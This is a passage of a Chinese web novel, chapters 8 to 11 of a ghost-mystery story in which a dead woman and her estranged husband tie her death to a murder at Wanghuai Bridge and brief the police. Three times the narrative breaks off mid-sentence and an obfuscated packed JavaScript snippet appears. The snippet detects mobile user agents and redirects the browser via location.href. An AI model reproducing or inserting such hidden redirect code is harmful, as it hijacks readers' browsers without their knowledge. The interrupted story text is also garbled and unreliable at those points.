电话接通,梁淮说“喂”的时候她其实挺后悔的,都分居了,遇到点事干吗还麻烦准前夫哥?
不过电话打也打了,他接也接了,再挂掉反而显得她矫情,不如直接开口。
梁淮很快赶来了。
回市区的路上谁也没说话。下车的时候,她道了谢,梁淮只是淡淡地“嗯”了声,然后把车开走了。
之后两个人没再联系过,再相遇,是在她的葬礼上。
“是你去城西的一家医药公司做口译,车故障那天吗?”趁着前方换红灯,梁淮扭头看着端木茵问。
端木茵轻轻点头。
“嗯,就那天。”
等梁淮的时候,她觉得口渴,便下了车。附近一片荒凉,她顶着毒日走了两条半街才看到一家小卖部。
买了瓶矿泉水,她当场拧开瓶盖,咕噜咕噜喝了大半瓶。柜台后,阳光都照不进的狭小空间里坐着一位老人,老人嘴瘪瘪的,问:“妹妹,还要瓶水伐?”
端木茵摇头又点头:“再来一瓶吧。”
一会儿梁淮来了,她总不能让人这么大热天跑一趟,连口水也没得喝。
端木茵对自己的好心很满意。
老人转过身,又拿了瓶水递给端木茵。
扫码支付的时候,端木茵随意问了句:“生意还好吧?”
老人摇头:“没啥人嘞,下午就来过一个人,就半个小时前,年纪轻轻的,还想趁我不注意偷烟哩。被我发现了,还骂我臭老太婆。”
老人有唠叨下去的趋势,端木茵并不喜欢听人抱怨,便打断她,指了指远处:“那片是要拆迁了吗?”
“在拆了,要造地铁呢。”老人牙齿没几颗了,说话的时候漏风得厉害。
端木茵心想,还挺可惜的。青石板铺的道路、灰墙黑瓦的老房子、雕刻着纹样的木窗户,还有河畔那座有点岁月的古桥,很快就要变成废墟了。
走回去的路上,她又看了眼那片老房子。
有个人靠在窄巷深处的斑驳砖墙上,端木茵看不清那人的样子,只觉得那侧影寂寥又落寞……
8. 第八章 八月二十一日
她当时做了什么?
她好像拍了张照,发了朋友圈。
“梁淮,你还记得你去接我的地方是哪里吗?”端木茵记得挂电话后,她发了个定位给梁淮。
梁淮看了眼红绿灯的倒计时,踩了脚油门:“城西槐塘村。怎么了?”
端木茵拉住他的胳膊:“梁淮,我好像……到过凶案现场附近。”
梁淮的唇角有一瞬的绷紧,他看了眼端木茵,把车停在路边。
伸手拿过手机,他开始搜索“槐塘村”。
“是叫‘望槐桥’吗?张望的望,槐树的槐?”梁淮问道。
“对。所以我觉得那座桥眼熟,确实是因为我见过它,是吧?梁淮,我在想……”
“想你是不是案发当天路过现场。”梁淮替她说出没有说出的话。
她轻轻“嗯”了声,声音小得像猫咪在呜咽:“我本来坐在车里等你。后来想,你来的时候会不会口渴,就下车买水去了。我走了两条半街才看到一家小卖部。小卖部离望槐桥很近,我还停下来看了两眼。”
“之后你还去了哪里?”
“没去哪里了。天很热,我回车上了。”
梁淮沉思了半分钟,说:“我问问老吴。”
端木茵点头,心里却想,吴警官大概要烦死梁淮了。
“喂,老吴,是我。不是我老婆的事,好吧,也有关系。”梁淮换了个手拿手机,继续道,“是这样的,那个望槐桥的案子……”
吴维:“你怎么问起那个案子?”
“那个案子的案发时间是不是本月十二号?”
吴维语气明显严肃了点:“你哪听说的?”没正面回答,直接反问。
梁淮和端木茵对视了一眼。
那就没错了。
十二号,正是端木茵去城西做口译的日子。
那头,吴维提高了声调“喂?”
“老吴,案发时间是下午吗?”梁淮问。他记得,端木茵打电话给他的时候是下午2点,他忙跟公司请了假,开车去接她。
他相当怀疑,端木茵是不是目睹了凶手行凶而不自知。
如果这个就是端木茵被杀的动机,那么凶杀案应该是发生在这个时间段内。
“小梁,你是不是知道什么?”
梁淮闭了闭眼,有气无力道:“先这样,晚点我再打给你。”
无视吴维的“喂喂喂”,他挂了电话,靠在椅背上。
一时间,车内寂静一片。
端木茵看着车窗外,小声喃喃:“我什么都没看见。”
八月,天还很热,顶着大太阳走了几条街已是她的极限了。她又热又渴,根本没心思分心欣赏注意沿路的情况。
买水回来,不过是心中感叹即将变成废墟的老房子,她才稍微驻足几秒,拍了张照留念。
就几秒的时间怎么就招来了横祸呢?
“我真的什么都没看见。我站在路口,都没有走过去,那里离望槐桥总有……”端木茵估算了下,才道,“总有五十米以上的距离。那么远,我根本看不清什么。”
梁淮睁开眼,语气沉重:“凶手未必这样想。”他摇了摇头,心中疑惑更甚,“不对,五十米以上的距离,确实只能看不清什么,也就是说,他/她看你也只能看到个人影。凶手是怎么盯上你的?”
端木茵有些尴尬地对他笑笑:“呃,其实……我当时拍了张照,还发了朋友圈,可能……”
梁淮打断她:“你什么时候发的朋友圈,我怎么没刷到过?”见端木茵眼神躲闪,他瞬间明白过来了,“端木茵,你屏蔽我了?”
“梁淮,你那么大声干什么?”本来心存的那一点点不好意思被梁淮这么一问全跑没了,端木茵理直气壮道,“我们分居了,我朋友圈屏蔽你怎么了?我还要拉黑你呢。”
梁淮面色铁青,点了点头,重新启动了汽车。一直到家里,他都没再开口说话,路上有几个电话打进来,他也没接。
端木茵知道他是生气了。
可她也委屈啊。
拉黑他不过是嘴上说说,她又没真拉黑他,梁淮至于一路冷着脸吗?
“梁淮!”端木茵叫住他,“你至于吗?”
梁淮深吸一口气,又长舒一口气才道:“我去把你的手机找出来。”
原本在沙发旁打盹的村霸突然醒过来,前爪舒展扒拉着梁淮的裤腿,梁淮抱起它,拉开五斗柜的第一个抽屉,拿出一只手机。
才用了两个月的手机碎屏了。
“本来以为是你摔下楼的时候掉地上砸碎的。”梁淮把村霸放地板上,拍拍它,让它自己去玩。
端木茵摸了摸手机屏幕。说不心疼是假的,即使她再也用不上这只手机了,她也不想看到它有任何瑕疵。
心中为碎屏的手机哀悼了两秒,端木茵把手机推给梁淮:“我拍了照后回车上就发了朋友圈。”
梁淮接过手机,点开端木茵的朋友圈,开始找八月十二号的动态。
恰巧有人敲门,他放下手机去开门。
门口站着的是吴警官和上次给吴警官送尸检报告的女警官。
“吴警官,赵警官。”大概是有同事在一旁,梁淮没称呼他老吴。
吴维用手指点了点他,说:“我打你电话你也不接,打到你们公司,你同事说你还在休假。”
梁淮淡笑,请两位警官进屋。
一室一厅的房子很小。两位警官在沙发上落座后,客厅显得拥挤起来。
“茶还是饮料?”梁淮问。
吴维摆了摆手,道:“不用麻烦了。”
“那就饮料吧。”梁淮替两位警官做了决定。他打开冰箱,拿了瓶未开过封的葡萄汁进了厨房。
端木茵跟着进了厨房,问道:“他们是来问你怎么知道凶杀案的案发时间吧?”
梁淮拿了两个杯子冲洗了下,轻声回道:“大概吧。”
“你准备怎么回答他们?”端木茵抱胸,歪头看着梁淮。
“实话实说。我是个遵纪守法的公民。”梁淮拧开瓶盖,将葡萄汁倒入两个杯子里。
“你要怎么实话实说啊?你要跟他们说我托梦给你,告诉你我是被人推下楼的,还是,我死不瞑目,灵魂缠着你不放?”
梁淮点了点头,颇为无耻地说:“都可吧。”
“梁淮!”
梁淮充耳不闻,拿着两杯葡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377067|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
萄汁回了客厅。
吴维喝了口葡萄汁,直截了当:“我们就是想知道你怎么得知望槐桥凶杀案的案发时间。”
果然!梁淮挑眉,拉了把椅子在两位警官对面坐下:“所以确实是本月十二号下午发生的命案,是吗?”
吴警官和赵警官赵诗年对视了一眼,眼神有些微妙。
“有关案件我们不能透露太多,只能跟你说,尸检报告是昨天出来的,由于尸体是案发多天后才被发现,加上天气炎热潮湿,尸检难度加深,我们的法医也只能把死亡时间确定在本月十二号凌晨到十三号中午这个时间段。”吴警官顿了顿,加重了语气,“所以梁淮,你是怎么得知凶杀案是十二号下午发生的?你和望槐桥凶杀案的受害者又有什么关系?”
梁淮摊了摊手,道:“我甚至不知道受害者是谁,至于案发时间……”他终究没能完全实话实说,“两位警官有看今天的直播了吗?”
吴维抬眉,问:“什么直播?”
“今天上午那个还原案发现场的直播。”
“直播怎么了?”
“似曾相识。”
吴维“哦”了声。
“你们等等。”梁淮站起身,拿过桌上的端木茵的手机,“这是阿茵的手机,吴警官认得出吧?”
吴维不明所以,怔忪地点了点头。
“你们敲门的时候,我正好在翻她的朋友圈,有一条动态你们可能会有兴趣。”他将手机交给吴维。
吴维点开手机,手指滑动屏幕,然后停住,他放大了图片仔细看了看。
“十二号的时候,端木茵在槐塘村?”吴维一边问,一边把手机给赵诗年看
梁淮点头:“她去城西工作,回市区的时候,车在槐塘村附近出了故障,我接到她电话的时候是十二号下午2点,到槐塘村时,差不多3点了。这是她在槐塘村停留的时候拍的照。”
“端木有跟你提过她目击到什么吗?”一直没开口的赵诗年问。
梁淮摇头:“没有。她可能没意识到她目击到什么了;又或许,她确实什么都没看到,但凶手以为她看到了什么;再或许,凶手本来没看到她,但她发了动态,让凶手意识到,她当时在现场。”
“而且她还发了定位。”赵诗年又仔细看了看朋友圈动态。
吴维抿嘴不言,半晌才开口:“这个手机我们要带回去。另外,端木的事故可能要重新定性了。”
梁淮略作思忖,道,“我知道你们警方有规定,有些信息不方便透露。但能不能破个例,或者说,在你们允许的范围内,透露点有关槐塘村的凶杀案的信息?”
两位警官又对视了一眼。
吴维犹豫了一瞬,说:“被害者为男性,二十四岁到二十六岁,经济条件可能欠佳。在他身上我们没找到手机或是身份证驾驶证之类能证明他身份的物件,有被凶手带走的可能性。指纹被破坏了,我们也没能提取到完整的指纹以做身份认定。在他裤兜里,我们找到一包拆封过的价格不算便宜的香烟,软盒里还剩十四支烟,但我们并没有在现场发现该牌子的烟头。
“另外,因拆迁,附近监控被拆除了,我们没有监控,目前也没有目击证人。”
9. 第九章 八月二十一日
脑中有个念头迅速闪过,端木茵抓住梁淮的胳臂:“梁淮,你跟警官们说,槐塘村附近有家小卖部,小卖部里坐镇的是个老太太,那天我去买水的时候,老太太说,下午有个客人,年纪轻轻的,想偷烟被老太太发现了,还骂老太太,这个人很有可能就是被害者。小卖部里我看到有监控,也许对警方确认被害者身份有用。”
梁淮朝她看了眼,握拳抵在唇边,道:“那个,两位警官,不知你们是不是去询问过槐塘村附近的一家小卖部。听阿茵说,出事那天,小卖部的老太太抱怨过当天下午有个客人想偷烟被发现了,倒是有点符合你们描述的被害者。”
听梁淮这么一提醒,赵诗年马上把小卖部的事记下。
又问了几句,吴维和赵诗年站起身,和梁淮握了握手:“有什么情况我们会联系你,你有什么线索,可以直接打我手机。”
送走了两位警官,梁淮关上门,回过身,端木茵正笑得一脸促狭:“是谁说要实话实说的?梁淮,跟两位警官你怎么不实话实说了?”
“是吗?”梁淮不在意地耸了耸肩,“阿茵,要不你再回忆一下。”
端木茵愣了一秒,又忽地笑了。
是啊,他没完全实话实说,可也没说谎。
警官问他和望槐桥凶杀案的受害者有什么关系的时候,他反过来问两位警官是不是看了直播。
这让警官们下意识认为,他是看了直播后想起曾在案发现场附近逗留过。
成功地把警官的注意力引到槐塘村的案子上后,他才提出她的“意外”可能不是意外的设想,避免了跟警官交代她如今的状况。
“……狡猾!”
端木茵嘀咕了声,讪讪地在沙发上坐下,弯下腰,拦住又要黏着梁淮的村霸。
和所有的狸白一样,村霸是只很高冷、脾气又坏的猫。它会拿小屁屁对着端木远,会伸出扒拉过猫砂的小爪爪推小柔的下巴阻止小柔亲它,即使对她,也仅是偶尔、很偶尔用夹子音应付她两声,如果她出门忘了亲它,村霸会对着她骂骂咧咧半天。
谁能想到,这样一只高冷的猫会那么黏梁淮?以前还没分居的时候,他们可是装着互不相干的。
她不会允许她的陪嫁猫背叛她。
端木茵伸手想摁住躁动不安的村霸,无奈如今的状态,想要压制住日趋壮化的猪咪实在有点难,眼见快干不过村霸了,梁淮弯腰捞起村霸把它抱到沙发上。
“它现在怎么跟你那么好?”
梁淮轻笑:“因为没人给它撑腰了,它总得识相点。”
端木茵失笑。
居然是这样吗?
她拍了下村霸的小屁屁:“没出息,白疼你了。”
村霸冲着梁淮“喵呜”了两声,又躺下了。
梁淮看了眼墙上挂钟,说:“时间不早了,我要去医院。你去吗?”
“去,夏老师出院我一定得去。”端木茵从沙发上跳了起来。
***
端木茵没想到会在医院碰到姚晓晨。
“晓晨姐?”端木茵止住步子。
梁淮跟着止住脚步。
姚晓晨似乎也认出梁淮来了,犹豫了一下后,她停下脚步,跟梁淮打招呼:“来看病啊?”话说出口,姚晓晨便有些后悔,这话问得似乎有些不合适。
梁淮不介意地笑笑:“来接阿茵的妈妈。”
“阿姨她怎么了?”姚晓晨有点焦急地问。
梁淮:“阿茵的事对她妈妈打击有点大。”
姚晓晨“噢”了声,恍惚点头,“小茵的事……”她抿了下唇,一副欲言又止的模样。
梁淮没接话,想着姚晓晨是不是有什么关于端木茵的事要跟他说,只是不知道该如何开口,才一副要说不说的样子。他要是追着问,姚晓晨搞不好直接说没什么,倒不如表现得耐心点鼓励她说下去。
这个念头才从心里生出,姚晓晨却话锋一转,轻声道:“请节哀。”
梁淮下意识地挑眉。
这不是姚晓晨原本想说的话。
“嗯。”姚晓晨低头看了眼腕表,“我请假出来的,不能多聊了。”说完,她朝梁淮点了下头,逃似地离开。
望着姚晓晨的背影消失在走廊尽头,端木茵用手肘碰了梁淮一下,问:“是我错觉吗,晓晨姐是不是想说什么,后来又后悔了?”
梁淮:“阿茵,你有没有发现,她之前没想和我打招呼。”
端木茵狠狠点头。
看到梁淮的时候,姚晓晨先犹豫了下,明显想避开,但很快她便意识到离得太近了,已经来不及避开了,这个时候她才停下脚步勉强和梁淮打了招呼。
“你说来接夏老师的时候,她很着急,还有点……嗯……有点……”端木茵努力回想着刚才姚晓晨的神情。
“有点自责。”梁淮替她说完。
对,她有点自责。
“她在自责什么?”端木茵问。
梁淮耸了耸肩:“不知道。对了,她那天加班了吗?”
端木茵点头:“加了,但比我早回去。她走的时候快20点了,她在办公室门口跟我打了招呼,还说了几句话。”
“这样啊。”
“你怀疑她?”
梁淮没否认也没承认。
“晓晨姐她待我挺好的,她没有杀我的动机。”
梁淮淡淡道:“除非她的自责和你的死无关,不然她再好,我总归要怀疑她的。”
***
到病房的时候,护士刚好给夏岚量好血压,正叮嘱着:“血压还是高了点,阿姨平日里要多注意点,除了吃食、睡眠和运动,心理健康也要注意。”
端木远点头,还是一贯的好脾气:“好的,好的,护士小姐,我们会注意的。”
一样是大学老师,两个人性格南辕北辙,夏老师教数学,端木老师教美术;夏老师严肃,端木老师温和。
端木茵一直好奇两个性格那么不同的人怎么会对上眼。
父亲却不以为然:“那是你没见过夏老师站在讲台前的样子。”
“是什么样子?”
“当然是闪闪发光的样子。”
病了一场,夏老师明显消瘦了点,即使医院允许她出院了,她看上去还是有点虚弱。
送二老回家后,端木远一定要留梁淮吃晚饭。
晚饭是端木远做的,梁淮想帮忙,被夏老师拦住了:“你让他做吧。”
夏老师这么说了,梁淮也不客气了。
夏岚刚出院,精神还没恢复过来,和梁淮说了会话,便打招呼回房休息了。
端木茵心里难过,看着夏岚略显佝偻的背影,不由感叹:“夏老师以前多精神,训我半小时都不带喘气的。”
梁淮想安慰她,却又不知道说什么,最后只好搂了搂她的肩。
“我想去我房间看看。”
梁淮说:“嗯,我陪你。”
端木茵的房间还保留着原样,看得出来经常有人打扫,床头柜、书桌和书架都一尘不染。梁淮伸手拿过书架上的相框。相框是组合三联相框,并排塞了三张端木茵的照片。
端木茵见他一直盯着照片看,便凑过去看。
照片里,端木茵笑得略显稚嫩,长发扎成马尾,没留刘海,清清爽爽。
“这张是高一参加外研社杯时拍的。”
“市级一等奖,不错哦。”
“没有啦,好多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377068|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
市级省级一等奖,不稀奇的。”
“这张呢?”梁淮指了指一张背景是圣家堂的照片。
端木茵:“嗯,这张是初三暑期去欧洲旅游时拍的。夏老师本来是不同意我出去玩的,说要读高中了,最好先熟悉起来高中的知识,开学了才不会落后于其他同学。”
“后来怎么又同意你去了?”
“老爸说,读高中就没空出去玩了,让我趁着初三暑期去外面见识见识也是好的。”
“那长见识了吗?”
“长了呀,和老爸一起尝了蓝纹奶酪。”端木茵把头凑近梁淮,像说悄悄话似的压低声音,“说实话,很难吃,我只吃了一口,剩下的全推给老爸解决了。”
她嘿嘿一笑,继续道,“我们去了GranTeatroLaFenice,听了音乐会,还去了悬崖上的小镇——龙达。”
梁淮低头看着她,问出心里的疑惑:“你为什么叫你妈妈夏老师,叫你爸爸老爸?”
“有吗?”端木茵歪头想了想,说,“好像是呢,你不说我都没发现。可能是我妈比较严肃吧。不是对数学老师有刻板印象,就是她眼神一扫过来,怎么跟你解释呢,就有那种在课堂上被老师点名的感觉吧。”
梁淮难得笑了笑:“那么可怕吗?”
“有啊。”端木茵跟着笑了,又很快收回笑容,“其实我妈她挺好的,但大家看到她都怕,我怕她,我爸怕她,她学生也怕她。有时候我觉得她这样性格的人在外面挺吃亏的。”
“确实吃亏。”梁淮认同她的看法。
“小梁?”
端木茵和梁淮同时看向门口,夏岚站在卧室门口,休息了会儿脸色好了些。
她走进卧室,看到梁淮手里拿着的相框,愣了一秒:“在看茵茵的照片啊?”
“是。”
夏岚接过梁淮递过来的相框,用食指抹了抹相框玻璃上看不见的灰尘:“是茵茵初高中时候的照片。她爸爸要带她去欧洲玩,我一开始没同意,想着别人初三暑期报各种补习班,怕茵茵到了高中跟不上,会有落差。”夏老师声音里带了点哽咽,“这张是在圣家堂前拍的,她很喜欢这张照片。”
“拍得很好,她眼里有星星。”
夏老师点头:“是的。还有很多照拍得也很好,龙达、贝萨卢……。后来大学选专业,她选了西班牙语,我想,多少是受那次旅游的影响。”
梁淮想说点什么,端木远已经在楼下叫他们下去吃饭了。
“小梁,你先下去吧,我马上就来。”夏岚说。
梁淮朝端木茵看了眼,她也回视他:“我陪我妈一会儿,你先下去吧。”
梁淮点了点头,下楼去了。他前脚离开,后脚夏岚眼眶就红了。
在端木茵记忆里,夏老师强势干练,做什么事都游刃有余,这还是她第一次见夏老师流泪。
夏岚在床边坐下,手里还拿着相框。她低头看着相框里的照片,用拇指指腹偷偷抹掉眼角的眼泪。
端木茵有点无措地在她身旁坐下。
好像初中后,她就没和母亲靠得那么近过了。
就如她跟梁淮说的那样,她怕夏老师,怕夏老师问她做错的考题知道错哪了么、怕夏老师突击检查她的功课……
可仔细回想,母亲不会在她考第二名的时候泼她冷水说为什么考不到第一名,也不会在她拿奖状回家时说全靠她的培养,更不会说隔壁李老师家的孩子钢琴过十级了,为什么她还没过。
母亲只是严格,从来不是打压式教育。
端木茵轻轻靠在夏岚的肩上。
她不知道夏老师是不是能感到她的存在。
这一刻,她只想跟母亲靠得更近些。
10. 第十章 八月二十一日
回去的路上,梁淮接到了梁柔的电话。
梁淮敛眉,手指握紧方向盘:“喂?”
“哥,你没在家吗?我敲了半天门了。”
“在外面。”
“你还要多久回来?楼道里又闷又热,我等不了很久的。”梁柔撒娇道。
梁淮一身鸡皮疙瘩:“十分钟。”
“不是吧?”
端木茵坐在副驾座上都清晰地听到梁柔的哀嚎声,她忍不住笑出声来。
小柔说话自带撒娇味,她一撒娇,他们这群当朋友的,无论男女都拿她没辙,没想到自己的大哥却完全不吃她这一套。
“梁柔,不能等你就回去。”
“你还是我哥吗?”
“你说不是那就不是吧。”梁淮不为所动。
那头呜呜声更大了。
端木茵歪头看着一脸淡漠的梁淮:“要不,叫小柔去隔壁奶茶店里坐坐,顺便点杯奶茶?”
梁淮睨她一眼:“她爱等不等。”
“哥?你身边有人?”梁柔的哭声说止住就止住。
“差不多。”
“什么叫差不多?”
“差不多就是差不多。”
端木茵翻了白眼。
确实差不多,就“人”和“阿飘”之间的那么一丁点距离。
“哥!”
“好了,我进小区了,挂了。”
刚停好车,梁柔就蹦蹦跳跳地过来了,还使劲地朝车里头探脑袋。
“梁柔,你在干什么?”梁淮开门下车。
梁柔依旧探头探脑:“看是谁在你车里。咦,怎么没人,我明明听到你跟人说话的。”
“别看了,你看不到的。”
梁柔站直了身子,一脸问号:“你这话什么意思?什么叫我看不到。”梁柔突然想到什么,看梁淮的眼神变了又变,“哥,你不会那方面有问题,开始幻想别人看不到的?”她用手指在太阳穴处划了个圈。
梁淮一点也不想跟她多废话:“你来干什么?”
终于记起自己来的目的,梁柔提了提手上拎着的保温袋,说:“那个,老妈怕你心情不好,吃不好饭,给你做了点你爱吃的。”
梁柔做了个无奈的表情,“她说要给你送去,幸好我拦住了。她要是去了你们家,发现你不住那,回来又要刨根问到底了,谁吃得消啊。”
端木茵心下了然,看来梁淮也瞒着婆婆他们要离婚的事。她瞄了梁淮一眼,见他面不改色地拿过保温袋:“好了,东西送到了,你可以回去了。”
“哥,没你这么招待客人的!”
梁淮没理她,转身要进楼里,突然又改了主意,不情愿道:“你也上来吧。”
扫了门禁,推开底楼大门,楼道里的声控灯亮了起来,梁淮踩着台阶而上,像是随口一说:“你今天的口红颜色不错。”
梁柔撇了撇嘴:“哥,你不对劲,以前你可不夸我。”
“MAC316?”梁淮头也不回。
“呵……等等,哥,你什么时候开始研究口红了?”
“我若说是阿茵夸你,你信不?”
“不是,哥……”
“香水是寄情?”
梁柔惊得下巴都要掉了:“绝了!”
她快步跟上来,小声惊呼。
“哥,你别骗我,我真的会信!”
梁淮轻笑不语,拿钥匙开了门。
端木茵给了他一下:“差不多得了,一会儿我还要借小柔手机用,你别把她吓跑了。”
“你要她手机干什么用?”打开门,梁淮让端木茵先进屋。
“看我朋友圈啊。我的手机不是被吴警官拿走了么,照片我还没细看呢,总不能那么被动等警/方消息吧?”
“你没屏蔽小柔?”梁淮发现了华点。
端木茵在心里“啧”了一声。这男人气量真小,还记着屏蔽他的事。
“屏蔽我什么?哥,你在跟谁说话?不会真的是跟小茵吧?”梁柔插嘴。
端木茵忍住翻白眼的冲动:“梁淮,你能不能别再纠结屏蔽的事了?”
梁淮没说话,回过头去看梁柔:“你手机借我一下。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377069|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“干吗?”梁柔捂住自己的包包。
“看阿茵的朋友圈。”
“你不能用你自己的手机看吗?”
“她把我屏蔽了。”
“哈!”梁柔没忍住,噗嗤一声笑了出来。这一笑她就没能停下,直到发现梁淮面色沉了下去,才识趣地收敛了笑容,管理好表情,一本正经问,“哥,我知道小茵的死对你打击很大。但真的,我觉得你现在的精神状态,怎么说呢,就不太美妙。要不……你回家去住吧。”
梁淮把保温袋放在桌上,淡淡瞥了梁柔一眼,突然问:“阿茵葬礼那天,你问我是不是在怀疑她并非意外死亡?”
“嗯,怎么了?”梁柔愣了一瞬,想不明白他问这干吗。
“阿茵她确实不是意外死亡。”
梁淮停顿了一下,又接着把这两天发生的事讲给梁柔听,从在葬礼上看见端木茵到得知她是被人推下楼,再到怀疑她可能是因为望槐桥案被灭口,听得梁柔一愣一愣。
听完,梁柔点了点头,难得正经:“很好,我听明白了。现在,我只想知道,为什么只有你能看到她?我难道不配看到她吗?”
端木茵一怔。
她这位闺蜜的脑回路怎么和别人的不一样。
重点难道不是她变成了阿飘了?
重点难道不是她不是意外死亡?
梁淮明显也受不了这个只会盯着小细节不放的妹妹。他揉捏眉心,另一手摊开掌心:“手机。”
梁柔嘀咕了两声,不情愿地从包里翻出手机:“喏,拿去。”
梁淮接过手机,点开朋友圈,滑动屏幕,往底下翻了几页,端木茵凑过去,用手指了指:“停!就是这张。”
点开照片,放大。
取景、构图、光影没有刻意的痕迹,就是一张随手一拍的照片。
乌瓦白墙,雕花门窗,狭窄而蜿蜒的窄巷,阳光洒落不进来,生满苔藓的青石板路散发着带了点霉味的湿润气息。
有个人倚靠在斑驳的泥墙上,垂着头,光线太暗,梁淮看不清那人的长相,甚至无法肯定是男是女。
11. 第十一章
“你看这人。”梁淮说。
“谁?”梁柔也凑过来。
“没你事。”
梁柔蹬脚:“哥!”
“老房子楼板薄,隔音不好,你注意点。”
梁柔“切”了声,气鼓鼓地在沙发上坐下,一把抱起在沙发旁磨猫爪的村霸,不管不顾地猛亲一顿:“小茵,你要是听得到我说话,一定要替我主持公道。告诉这个冷血的家伙,我是他唯一的妹妹,把我气死了,他这辈子,下辈子,下下辈子都不会再有那么好的妹妹了……”
梁柔还在絮絮叨叨,端木茵用手肘碰了碰梁淮:“小柔生气了。”
“不用理她。”
以前怎么就没发现这个男人那么冷血呢。
小柔的性子她知道,其实什么都不会放在心上,有时候就是抱怨一下,稍微说两句话哄哄,她就好了。
“梁淮,那是你妹妹!”
“是妹妹,不是老婆,不是女儿。”
合着若是她和女儿闹脾气他就会哄?
好像是这么个理。男人嘛,总不见得不哄老婆女儿,却哄别的女人,即使这个女人是他妹妹,那也是不行的。
这样想着,端木茵就有些神游天外,直到梁淮的声音将她拉回现实:“阿茵,你在听我说话吗?”
端木茵哆嗦了下,想得太远了。她抬手轻轻揉了揉自己的脸颊,让自己清醒点。
沙发上,梁柔抱着村霸使劲蹂.躏着,端木茵突然觉得没眼看。
眼不见心净,回过头,重新把心思放在照片上,回答说:“嗯,在听。”
梁淮放大照片,指着某个点说:“你看这里,他指间夹着的是烟吗?”
端木茵细看了会,回道:“有点像,看着有烟雾缭绕的感觉,但不是很确定。梁淮,你是不是想到老吴说的那包烟了?”
“嗯。他说那烟盒里还剩十四支烟,但他们没有发现同牌子的烟头。”
端木茵才意识到这句话的意思,她猛地抬起头:“有人把烟头捡走了?”
梁淮做了个谁知道的表情。
端木茵眯着眼,思忖了会:“吴警官说烟盒里还剩十四支烟,假设,我只是说假设,假设烟就是被害者偷的,那么那盒烟应该是没拆过封的。一盒烟里有二十支香烟,警方发现的时候说烟盒里还剩十四支,二十扣去十四,少了六支烟。撇去烟瘾大的人,一般人,我买水的时候,婆婆说半个小时前有个人想偷烟,她说的那个人就是被害者。但半个小时,我想就算是老烟枪也抽不了六支烟吧?”她顿了两秒,对着梁淮的目光,问,“但两个人抽的话呢?”
“你是说,被害者和凶手都抽烟了?”
“对。被害者有烟瘾,他摸了摸裤兜,摸到那盒烟,便拆了塑料包装纸,自己拿了支烟,又问对方是不是也要抽一支,对方没拒绝,也拿了支。两个人可能聊了不短的时间,这段时间里,两个人一共抽了六支烟。”端木茵试图模拟当时的场面。
梁淮:“如何证明是两个人抽的烟?”
“你想啊,如果是被害者一个人抽的,那凶手为什么要把烟头都捡走,你不要忘了,老吴说,警方没在现场找到烟头。烟头不可能自己消失的,它们是被人有意识地捡走的。谁会捡走烟头?凶手或被害者。”
端木茵整理了下思路,继续分析,“被害者有必要处理掉烟头吗?暂时我想不出他处理烟头的理由。
“那再来说凶手。凶手为什么要处理掉被扔在现场的烟头?”
梁淮:“因为警方能通过烟头里的唾沫检验出吸烟者的DNA。”
端木茵点头:“除非凶手也抽烟了,不然捡走烟头这个举动就变得毫无意义。如果他没抽烟,哪怕被害者把烟头扔得满地都是,又关凶手什么事呢?顶多能说,啊,被害者一会儿工夫就抽了六支烟,他烟瘾好大。”
梁淮颔首赞同:“凶手捡走了烟头,是不想让警方查到他/她身上。
“那里是郊区,本来就人烟稀少,加上要拆迁,大多数村民都搬走了,变得更荒凉了。凶手和被害者选择在槐塘村见面,到底是被害者提议的,还是凶手提议的?如果是被害者提议的,是否说明被害者是附近的居民。如果是凶手选择在槐塘村见面,又是为了什么缘故呢?仅仅是因为槐塘村荒凉好下手吗?”
梁淮轻轻摇头,换了话题:“你那几个同事里,有吸烟的吗?”
端木茵略微想了想,回道:“禾川她不抽烟,我听到过她骂在楼道里偷偷吸烟的人,甚至可以说她非常厌恶烟味。至于丁维和孟野,他们两个都抽烟。”
“那姚晓晨呢?”
端木茵微愣:“你怀疑晓晨姐。”
“我还是有点在意她的自责,在没搞清楚她为什么自责前,我不会把她从我怀疑的人的名单里删除。”
“晓晨姐她不抽烟。”端木茵下意识替姚晓晨辩解。
一个会关照新人的前辈,她很难相信那样的人会是杀害她的凶手。
梁淮“嗯”了声,没有反驳她。他听得出来端木茵话中对姚晓晨的维护,可能他是局外人,对姚晓晨没有滤镜,反而更介意她的自责。
“那于森呢?”他又问。
“我们社长?让我想想。”端木茵低头沉思片刻,“我记得有次我们搞团建,有人给社长递了支烟,社长好像拒绝了。我离得远,没听见他说什么,那个给他递烟的人也没强求,把烟收回去了。”
“是吗?”
梁淮的语气让端木茵感到他有些烦恼。
“你不信吗?”
“那倒没有,就是觉得奇怪。”
